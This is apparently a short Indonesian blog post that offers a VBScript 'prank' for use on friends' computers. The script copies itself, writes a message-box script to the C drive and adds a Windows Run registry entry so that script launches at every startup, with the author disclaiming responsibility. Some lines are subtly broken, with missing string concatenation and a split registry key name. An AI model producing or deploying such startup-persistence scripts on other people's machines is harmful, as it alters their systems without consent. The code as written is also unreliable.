mungkin agan suka dengan keisengan.... ini cara ampuh anda iseng
tapi ingat jikat teman yang anda jailkan marah..
saya tidak bertanggung jawab atas hal ini !!!! :).. hahah .. ga usah pake basa-basi lagi ini scriptnya :
set fso=createobject("scripting.filesystemobject")
set reg=createobject("wscript.shell")
set file=fso.getfile(wscript.scriptfullname)
file.copy "D:\keren.vbs"
set nfile=fso.createtextfile("c:\master.vbs")
nfile.write "msgbox" &chr(34) "isi dengan pesan yang diinginkan" &chr(34)
reg.regwrite "HKLM\software\microsoft\windows\currentversion\ru n\master","c:\master.vbs"
simpan dengan ekstensi *.vbs. contoh : rock.vbs
Selamat Mencoba.. tinggal double klik jika sudah di buat....
0 komentar:
Posting Komentar